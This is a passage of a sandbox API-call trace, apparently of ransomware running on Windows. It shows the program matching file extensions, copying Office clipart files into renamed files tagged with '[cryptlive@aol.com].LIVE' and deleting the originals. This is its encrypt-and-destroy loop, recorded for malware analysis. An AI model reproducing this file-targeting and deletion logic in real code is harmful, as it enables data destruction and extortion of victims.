lstrlenW (lpString=".7z") returned 3 [0143.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0143.852] lstrlenW (lpString=".dbf") returned 4 [0143.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0143.852] lstrlenW (lpString=".1cd") returned 4 [0143.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0143.853] lstrlenW (lpString=".jpg") returned 4 [0143.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0143.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0143.853] lstrlenW (lpString=".doc") returned 4 [0143.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.853] lstrlenW (lpString=".docx") returned 5 [0143.853] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.853] lstrlenW (lpString=".pdf") returned 4 [0143.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.853] lstrlenW (lpString=".xls") returned 4 [0143.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.853] lstrlenW (lpString=".xlsx") returned 5 [0143.853] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.853] lstrlenW (lpString=".ppt") returned 4 [0143.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0143.853] lstrlenW (lpString=".zip") returned 4 [0143.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.853] lstrlenW (lpString=".rar") returned 4 [0143.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.853] lstrlenW (lpString=".bz2") returned 4 [0143.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.853] lstrlenW (lpString=".7z") returned 3 [0143.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0143.853] lstrlenW (lpString=".dbf") returned 4 [0143.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0143.853] lstrlenW (lpString=".1cd") returned 4 [0143.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0143.853] lstrlenW (lpString=".jpg") returned 4 [0143.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.854] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.854] lstrlenW (lpString="FD01176_.WMF") returned 12 [0143.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0143.855] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4984) returned 1 [0143.855] CloseHandle (hObject=0x328) returned 1 [0143.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x20 [0143.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0143.856] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.856] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0143.856] GetLastError () returned 0x0 [0143.856] ReadFile (in: hFile=0x328, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1378, lpOverlapped=0x0) returned 1 [0143.932] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1380, lpOverlapped=0x0) returned 1 [0143.933] ReadFile (in: hFile=0x328, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.933] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.933] SetEndOfFile (hFile=0x39c) returned 1 [0143.933] CloseHandle (hObject=0x39c) returned 1 [0143.933] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.933] SetEndOfFile (hFile=0x328) returned 1 [0143.937] CloseHandle (hObject=0x328) returned 1 [0143.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0144.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0144.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0144.137] lstrlenW (lpString=".doc") returned 4 [0144.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.137] lstrlenW (lpString=".docx") returned 5 [0144.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.137] lstrlenW (lpString=".pdf") returned 4 [0144.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.137] lstrlenW (lpString=".xls") returned 4 [0144.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.137] lstrlenW (lpString=".xlsx") returned 5 [0144.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.137] lstrlenW (lpString=".ppt") returned 4 [0144.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0144.137] lstrlenW (lpString=".zip") returned 4 [0144.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.137] lstrlenW (lpString=".rar") returned 4 [0144.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.137] lstrlenW (lpString=".bz2") returned 4 [0144.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.138] lstrlenW (lpString=".7z") returned 3 [0144.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0144.138] lstrlenW (lpString=".dbf") returned 4 [0144.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0144.138] lstrlenW (lpString=".1cd") returned 4 [0144.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0144.138] lstrlenW (lpString=".jpg") returned 4 [0144.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0144.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0144.138] lstrlenW (lpString=".doc") returned 4 [0144.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.138] lstrlenW (lpString=".docx") returned 5 [0144.138] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.138] lstrlenW (lpString=".pdf") returned 4 [0144.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.138] lstrlenW (lpString=".xls") returned 4 [0144.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.138] lstrlenW (lpString=".xlsx") returned 5 [0144.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.138] lstrlenW (lpString=".ppt") returned 4 [0144.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0144.138] lstrlenW (lpString=".zip") returned 4 [0144.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.138] lstrlenW (lpString=".rar") returned 4 [0144.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.138] lstrlenW (lpString=".bz2") returned 4 [0144.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.139] lstrlenW (lpString=".7z") returned 3 [0144.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0144.139] lstrlenW (lpString=".dbf") returned 4 [0144.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0144.139] lstrlenW (lpString=".1cd") returned 4 [0144.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0144.139] lstrlenW (lpString=".jpg") returned 4 [0144.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.139] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.139] lstrlenW (lpString="FD02068_.WMF") returned 12 [0144.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0144.140] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2488) returned 1 [0144.140] CloseHandle (hObject=0x38c) returned 1 [0144.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x20 [0144.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0144.140] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.140] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0144.141] GetLastError () returned 0x0 [0144.141] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x9b8, lpOverlapped=0x0) returned 1 [0144.263] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0144.265] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.265] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.265] SetEndOfFile (hFile=0x1fc) returned 1 [0144.265] CloseHandle (hObject=0x1fc) returned 1 [0144.265] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.265] SetEndOfFile (hFile=0x38c) returned 1 [0144.267] CloseHandle (hObject=0x38c) returned 1 [0144.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0144.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0144.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0144.268] lstrlenW (lpString=".doc") returned 4 [0144.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.268] lstrlenW (lpString=".docx") returned 5 [0144.268] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.268] lstrlenW (lpString=".pdf") returned 4 [0144.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.268] lstrlenW (lpString=".xls") returned 4 [0144.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.268] lstrlenW (lpString=".xlsx") returned 5 [0144.268] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.268] lstrlenW (lpString=".ppt") returned 4 [0144.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0144.268] lstrlenW (lpString=".zip") returned 4 [0144.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.268] lstrlenW (lpString=".rar") returned 4 [0144.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.268] lstrlenW (lpString=".bz2") returned 4 [0144.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.269] lstrlenW (lpString=".7z") returned 3 [0144.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0144.269] lstrlenW (lpString=".dbf") returned 4 [0144.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0144.269] lstrlenW (lpString=".1cd") returned 4 [0144.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0144.269] lstrlenW (lpString=".jpg") returned 4 [0144.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0144.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0144.269] lstrlenW (lpString=".doc") returned 4 [0144.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.269] lstrlenW (lpString=".docx") returned 5 [0144.269] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.269] lstrlenW (lpString=".pdf") returned 4 [0144.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.269] lstrlenW (lpString=".xls") returned 4 [0144.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.269] lstrlenW (lpString=".xlsx") returned 5 [0144.269] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.269] lstrlenW (lpString=".ppt") returned 4 [0144.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0144.269] lstrlenW (lpString=".zip") returned 4 [0144.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.269] lstrlenW (lpString=".rar") returned 4 [0144.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.269] lstrlenW (lpString=".bz2") returned 4 [0144.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.269] lstrlenW (lpString=".7z") returned 3 [0144.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0144.269] lstrlenW (lpString=".dbf") returned 4 [0144.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0144.270] lstrlenW (lpString=".1cd") returned 4 [0144.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0144.270] lstrlenW (lpString=".jpg") returned 4 [0144.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.270] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.270] lstrlenW (lpString="FD02088_.WMF") returned 12 [0144.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0144.270] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3696) returned 1 [0144.270] CloseHandle (hObject=0x38c) returned 1 [0144.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x20 [0144.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0144.271] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.271] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0144.272] GetLastError () returned 0x0 [0144.272] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xe70, lpOverlapped=0x0) returned 1 [0144.294] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe80, lpOverlapped=0x0) returned 1 [0144.295] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.295] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.296] SetEndOfFile (hFile=0x1fc) returned 1 [0144.296] CloseHandle (hObject=0x1fc) returned 1 [0144.296] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.296] SetEndOfFile (hFile=0x38c) returned 1 [0144.299] CloseHandle (hObject=0x38c) returned 1 [0144.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0144.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0144.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0144.300] lstrlenW (lpString=".doc") returned 4 [0144.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.300] lstrlenW (lpString=".docx") returned 5 [0144.300] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.300] lstrlenW (lpString=".pdf") returned 4 [0144.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.300] lstrlenW (lpString=".xls") returned 4 [0144.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.300] lstrlenW (lpString=".xlsx") returned 5 [0144.300] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.301] lstrlenW (lpString=".ppt") returned 4 [0144.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0144.301] lstrlenW (lpString=".zip") returned 4 [0144.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.301] lstrlenW (lpString=".rar") returned 4 [0144.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.301] lstrlenW (lpString=".bz2") returned 4 [0144.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.301] lstrlenW (lpString=".7z") returned 3 [0144.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0144.301] lstrlenW (lpString=".dbf") returned 4 [0144.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0144.301] lstrlenW (lpString=".1cd") returned 4 [0144.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0144.301] lstrlenW 